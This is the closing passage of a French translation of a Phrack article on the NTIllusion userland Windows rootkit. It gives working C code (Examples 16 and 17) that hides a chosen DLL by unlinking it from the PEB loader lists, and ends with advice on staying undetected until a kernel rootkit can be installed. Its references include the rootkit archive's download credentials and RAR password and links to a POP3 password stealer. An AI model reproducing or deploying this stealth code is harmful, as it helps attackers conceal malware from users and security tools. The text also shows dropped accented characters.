par ordre de chargement, InMemoryOrderModuleList dans l'ordre mmoire,
et InInitializationOrderModuleList garde une trace de leur ordre de
chargement jusqu'au lancement du processus.

Ces doubles liens vers des listes contiennent des pointeurs vers
LDR_MODULE dans la structure parente pour le module suivant et prcdent.

typedef struct _LDR_MODULE {
   LIST_ENTRY		   InLoadOrderModuleList;
   LIST_ENTRY		   InMemoryOrderModuleList;
   LIST_ENTRY		   InInitializationOrderModuleList;
   PVOID		   BaseAddress;
   PVOID		   EntryPoint;
   ULONG		   SizeOfImage;
   UNICODE_STRING	   FullDllName;
   UNICODE_STRING	   BaseDllName;
   ULONG		   Flags;
   SHORT		   LoadCount;
   SHORT		   TlsIndex;
   LIST_ENTRY		   HashTableEntry;
   ULONG		   TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;

En fait, ce n'est pas tout  fait vrai puisque LIST_ENTRY a un
comportement spcial. En effet, l'adresse de base de l'environnement de
l'objet est calcul en soustrayant l'offset du membre LIST_ENTRY depuis
son adresse (&LIST_ENTRY), parce que les membres Flink et Blink de LIST_ENTRY
pointent toujours vers l'autre LIST_ENTRY dans la liste et non pas vers le
propritaire du noeud de la liste. Ceci rend possible de lier des objets
en de multiples listes sans aucune interfrences comme l'explique
Sven B. Schreiber dans "Undocumented Windows 2000 Secrets".
Pour accder aux lments InLoadOrderModuleList, nous n'avons pas besoin
de nous tracasser  propos des offset puisque c'est le premier lment de
la structure LDR_MODULE donc il n'a besoin que d'tre "cast" pour
rcuprer un LDR_MODULE d'un LIST_ENTRY. Dans le cas de InMemoryOrderModuleList
nous devrons soustraire sizeof(LIST_ENTRY). Pareil, pour accder au LDR_MODULE
depuis InInitializationOrderModuleList nous soustrayons juste 2*sizeof(LIST_ENTRY).
L'exemple suivant dmontre comment fonctionne l'une de ces listes et vire un
module selon son nom (szDllToStrip).

----------------------	 EXAMPLE 16   -----------------------------
/*  Walks one of the three modules double linked lists referenced by the
PEB  (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE	<---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
	int i;	/* internal counter */
	DWORD PebBaseAddr, dwOffset=0;

	/* Module list head and iterating pointer */
	PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;

	/* PEB->PEB_LDR_DATA*/
	PPEB_LDR_DATA pLdrData;
	/* Module(s) name in UNICODE/AINSI*/
	PUNICODE_STRING pImageName;
	char szImageName[BUFMAXLEN];

	/* First, get Process Environment Block */
	PebBaseAddr = GetPEB(0);

	/* Compute PEB->PEB_LDR_DATA */
	pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr +
	PEB_LDR_DATA_OFFSET));

	/* Init linked list head and offset in LDR_MODULE  structure */
	if(ModuleListType == LOAD_ORDER_TYPE)
	{
		/* InLoadOrderModuleList */
		pUserModuleListHead = pUserModuleListPtr =
				(PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
		dwOffset = 0x0;
	} else if(ModuleListType == MEM_ORDER_TYPE)
	{
		/* InMemoryOrderModuleList */
		pUserModuleListHead = pUserModuleListPtr =
				(PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
		dwOffset = 0x08;
	} else if(ModuleListType == INIT_ORDER_TYPE)
	{
		/* InInitializationOrderModuleList */
		pUserModuleListHead = pUserModuleListPtr =
				(PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
		dwOffset = 0x10;
	}

	/* Now walk the selected list */
	do
	{
		/* Jump to next LDR_MODULE structure */
		pUserModuleListPtr = pUserModuleListPtr->Flink;
		pImageName = (PUNICODE_STRING)(
				((DWORD)(pUserModuleListPtr)) +
				(LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

		/* Decode unicode string to lower case on the fly */
		for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++)
		    szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i)
		    ));
			/* Null terminated string */
			szImageName[i] = '\0';

		/* Check if it's target DLL */
		if( strstr((char*)szImageName, szDllToStrip) != 0 )
		{
			/* Hide this dll : throw this module away (out of
			the double linked list) */
			(pUserModuleListPtr->Blink)->Flink =(pUserModuleListPtr->Flink);
			(pUserModuleListPtr->Flink)->Blink =(pUserModuleListPtr->Blink);
			/* Here we may also overwrite memory to prevent
			recovering (paranoid only ;p) */
		}
	}	while(pUserModuleListPtr->Flink != pUserModuleListHead);

	return FUNC_SUCCESS;
}
---------------------- END EXAMPLE 16 -----------------------------

Pour traiter les trois listes lies, le rootkit appel la fonction
HideDll ci-dessous.

----------------------	 EXAMPLE 17   -----------------------------
int HideDll(char *szDllName)
{
	return (	WalkModuleList(LOAD_ORDER_TYPE, szDllName)
			&&	WalkModuleList(MEM_ORDER_TYPE, szDllName)
			&&	WalkModuleList(INIT_ORDER_TYPE,
			szDllName)	);
}
---------------------- END EXAMPLE 17 -----------------------------

Je n'ai jamais vu cette mthode employe pour cacher un module mais
plutt employe pour rcuprer l'adresse de base d'une DLL dans des shellcodes
labors [PEBSHLCDE]. Pour finir avec cette technique, je dirais qu'elle est
trs efficace contre les programmes en ring 3 mais deviens un peu inutile contre les
firewall personnels agissant au niveau du kernel, comme Sygate Personal Firewall.
Celui-ci ne peut tre abus en utilisant la mthode prsente et l'analyse
de son code source montre qu'il met en place des hooks dans la table de
syscall du kernel, devenant de ce fait inform ds qu'une DLL est charge
dans n'importe quel processus et les camouflages sous-jacent sont inutiles.
En un mot, les firewall personnel sont les pires ennemies des rootkits userland.

-------[ 5. Fin
-------[ 5.1. Conclusion
Les mcanismes prsents dans ce papier sont le rsultat d'un longue
recherche et d'exprimentations. Il montre que les rootkits en ring 3 sont
une menace  prendre en considration pour les systmes informatiques actuels
mais devraient tre dtects par une analyse intelligente des points faibles
qu'ils ciblent. Donc ce type de rootkit n'est pas parfait vu que des
donnes peuvent tre dtectes, malgr qu'il soit beaucoup plus difficile de
le dtecter. Gardez dans l'esprit que la chose la plus importante est
d'avoir un programme non suspicieux au possible, et donc de ne pas tre dmasqu.
En un mot, les rootkits de ring 3 sont parfaites pour attendre d'obtenir
les privilges admin sur la machine locale et ensuite installer un rootkit
en ring 0 qui serait plus appropri pour une furtivit maximale.

-------[ 5.2. Remerciements
"If I have seen further it is by standing on the shoulders of giants."
Cette citation d'Isaac Newton (1676) dcrit parfaitement la faon dont
les choses fonctionnent. Donc, mes remerciements vont en premier  tous
les auteurs qui font de l'internet une place d'change et de libre information.
Sans eux vous ne liriez probablement pas ces lignes. Ceci est spcialement
vrai pour Ivo Ivanov - grce  toi/vous, J'ai dcouvert le monde de
l'API hooking -, Crazylord, qui m'a founi de prcieuses informations pour
cr mon premier driver, Holy_Father et Eclips pour avoir couter mes quelques
questions  propos de la prise de contrle en userland.
Ajout  cela, J'aimerais remercier mes amis et relecteurs qui m'ont aid
 faire un papier plus accessible. J'espre que le but est atteint.
Finalement je salue mes amis et collgues ; vous savez qui vous tes.
Un merci spcial  mon copain et consultant unix personnel Artyc.

C'est tout les gars!


"I tried so hard, and gone so far. But in the end, it doesn't even
matter..."


Kdm
Kodmaker@syshell.org
http://www.syshell.org/



-------[ 6. Rfrences
- [1]
http://www.syshell.org/?r=../phrack62/NTILLUSION_fullpack.txt
- [NTillusion rootkit]
http://www.syshell.org/?r=../phrack62/NTIllusion.rar
Login/Pass	:	phrackreaders/ph4e#ho5
Rar password	:	0wnd4wurld
- [HIDINGEN]
http://rootkit.host.sk/knowhow/hidingen.txt
- [HOOKS] A HowTo for setting system wide hooks
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5685/
- [MSDN_HOOKS]
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/WindowsUserInterface/Windowing/Hooks.asp
- [3WAYS] Three ways to inject your code into another process
http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767/
- [LSD] Win32 assembly components
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
- [THCONTEXT] GetThreadContext remote code triggering proof of concept
http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxInject/
- [REMOTETH]
http://win32.mvps.org/processes/remthread.html
- [PE]
http://www.syshell.org/?r=Rootkit/PE/Doc/MattPietrek
- [IVANOV]
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5667/
- [UNLEASHED]
http://www.codeproject.com/system/api_monitoring_unleashed.asp
- [DETOURS] Detours win32 functions interception
http://research.microsoft.com/sn/detours/
[HKDEF_RTK] Hacker Defender rootkit
http://rootkit.host.sk/
- [HKDEF] Hacker Defender (Holy_Father 2002)
http://rootkit.host.sk/knowhow/hookingen.txt
- [ZOMBIE2] Entry point rewriting
http://www.syshell.org/?r=Rootkit/Api_Hijack/Code/EntryPointRewritting/
- [EXPLORIAT]
http://www.syshell.org/?r=Rootkit/Snippets/ExplorerIAT2k.log
- [MSDN] Microsoft Developers Network
http://msdn.microsoft.com/library/
- [NtQuerySystemInformation]
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/sysinfo/base/ntquerysysteminformation.asp
- [GETTCP] GetTcpTable
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/iphlp/iphlp/gettcptable.asp
- [NETSTATP] Netstat like
http://www.sysinternals.com/files/netstatp.zip
- [kSENTINEL] POP3 passwords grabber
http://www.syshell.org/?r=Rootkit/Releases/POP3_Stealer/kSentinel/kSentinel.c
- [FPORT] Network Tool
http://foundstone.com/resources/freetools/fport.zip
- [TCPVIEW] Network Tool
http://www.sysinternals.com/ntw2k/source/tcpview.shtml
- [LISTDLLS] DLL listing tool
http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml
- [PROCEXP] Process Explorer
http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
- [VICE] Catch hookers!
http://www.rootkit.com
- [PEB]
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html
- [PEBSHLCDE]
http://madchat.org/coding/w32nt.rev/RW32GS.txt


|=[ EOF ]=---------------------------------------------------------------=|
